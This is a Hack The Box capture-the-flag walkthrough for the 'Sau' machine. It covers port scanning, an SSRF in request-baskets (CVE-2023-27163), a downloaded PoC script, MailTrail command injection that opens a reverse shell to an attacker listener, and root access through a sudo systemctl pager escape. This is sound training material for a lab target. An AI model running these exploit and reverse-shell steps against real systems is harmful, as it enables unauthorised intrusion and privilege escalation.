Sau
https://www.hackthebox.com/machines/sau
🔗 Sau

Task 0 - Deploy machine
🎯 Target IP: 10.129.229.26
Create a directory on the Desktop with the machine's name, and inside this directory, create another directory to store the materials and outputs needed to run the machine, including the scans made with nmap.
Task 1 - Reconnaissance
su
echo "10.129.229.26 sau.htb" >> /etc/hosts
mkdir -p htb/sau.htb
cd htb/sau.htb
mkdir {nmap,content,exploits,scripts}
# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hosts
I prefer to start recon by pinging the target, this allows us to check connectivity and get OS info.
ping -c 3 sau.htb
PING sau.htb (10.129.229.26) 56(84) bytes of data.
64 bytes from sau.htb (10.129.229.26): icmp_seq=1 ttl=63 time=61.0 ms
64 bytes from sau.htb (10.129.229.26): icmp_seq=2 ttl=63 time=59.5 ms
64 bytes from sau.htb (10.129.229.26): icmp_seq=3 ttl=63 time=60.0 ms
Sending these three ICMP packets, we see that the Time To Live (TTL) is ~64 secs. this indicates that the target should be a *nix system, while Windows systems usually have a TTL of 128 secs.
1.1 - Which is the highest open TCP port on the target machine?
nmap -p0- -sS -Pn -vvv sau.htb -oN nmap/tcp_port_scan
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp filtered http no-response
8338/tcp filtered unknown no-response
55555/tcp open unknown syn-ack ttl 63
sS
SynScan
sC
run default scripts
sV
enumerate versions
A
aggressive mode
T4
run a bit faster
oN
output to file with nmap formatting
It looks like there are 2 open TCP ports on the machine: 22, 55555 and 2 filtered TCP ports: 80, 8338.
1.2 - What is the name of the open source software that the application on 55555 is "powered by"?
Then, we can proceed to analyze services active on open ports:
nmap -p22,55555 -sS -Pn -n -v -sCV -T4 sau.htb -oN nmap/service_port_scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_ 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Sat, 09 Nov 2024 14:27:59 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Sat, 09 Nov 2024 14:27:33 GMT
| Content-Length: 27
| href="/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Sat, 09 Nov 2024 14:27:33 GMT
|_ Content-Length: 0
Strangely enough, port 80 is filtered, but there seems to be some relationship with the service active on port 55555, let's go and see.
Browsing it: http://sau.htb:55555/web
we see that there's up a web app to create a basket to collect and inspect HTTP requests. using request-baskets app vs 1.2.1.



whatweb sau.htb:55555
http://sau.htb:55555 [302 Found] Country[RESERVED][ZZ], IP[10.129.229.26], RedirectLocation[/web]
http://sau.htb:55555/web [200 OK] Bootstrap[3.3.7], Country[RESERVED][ZZ], HTML5, IP[10.129.229.26], JQuery[3.2.1], PasswordField, Script, Title[Request Baskets]
gobuster dir -u http://sau.htb:55555 -w /usr/share/wordlists/dirb/common.txt
We discover only this web dir: /web (Status: 200)
that unfortunely corrispond to our index page.
1.3 - What is the version of request-baskets running on Sau?

Task 2 - Find user flag
2.1 - What is the 2023 CVE ID for a Server-Side Request Forgery (SSRF) in this version of request-baskets?
Googling 'request-baskets 1.2.1' we discover that's vulnerable to a recent CVE via an SSRF attack.
After understanding PoC and reading details regarding usage:

we can download CVE-2023-27163.sh and execute it exploiting our vulnerability:
wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
chmod +x CVE-2023-27163.sh
./CVE-2023-27163.sh http://sau.htb:55555 http://sau.htb:80

and now we can concatenate basket value to our URL and finally reach filtered port 80: http://sau.htb:55555/hbvoml

2.2 - There is an unauthenticated command injection vulnerability in MailTrail v0.53. What is the relative path targeted by this exploit?
Googling 'MailTrail v0.53' we discover that's vulnerable to an unauthenticated OS Command Injection (RCE)
the username
parameter of the login page doesn't properly sanitize the input, allowing an attacker to inject OS commands.
The exploit creates a reverse shell payload encoded in Base64 to bypass potential protections like WAF, IPS or IDS and delivers it to the target URL using a curl command The payload is then executed on the target system, establishing a reverse shell connection back to the attacker's specified IP and port.

Attacker machine:
#first check our IP using ip a
nc -nvlp 4444
Target Machine
python3 exploit.py 10.10.14.6 4444 http://sau.htb:55555/hbvoml

2.3 - What user is the Mailtrack application running as on Sau?
Taking a little system enumeration (whoami and/or id) we can check user active on machine

2.4 - Submit the flag located in the puma user's home directory.
cd ~
ll
cat user.txt
Task 3 - Find root flag
3.1 - What is the full path to the application the user puma can run as root on Sau?
Very good, we can proceed with privilege escalation for obtaining the root flag.
Executing sudo -l
command we can commands that user puma can execute with sudo privileges

3.2 - What is the full version string for the instance of systemd installed on Sau?
We know that systemctl is a service associated at process systemd, we can search version digiting: systemctl --version

3.3 - What is the CVE ID for a local privilege escalation vulnerability that affects that particular systemd version?
Googling 'usr/bin/systemctl status trail.service', we discover this CVE:
and this useful resource:
then, only executing: sudo /usr/bin/systemctl status trail.service
and adding !sh
we can spawn a new shell, directly with root privileges.

3.4 - Submit the flag located in the root user's home directory.
Let's go into root folder for catching root flag!

Last updated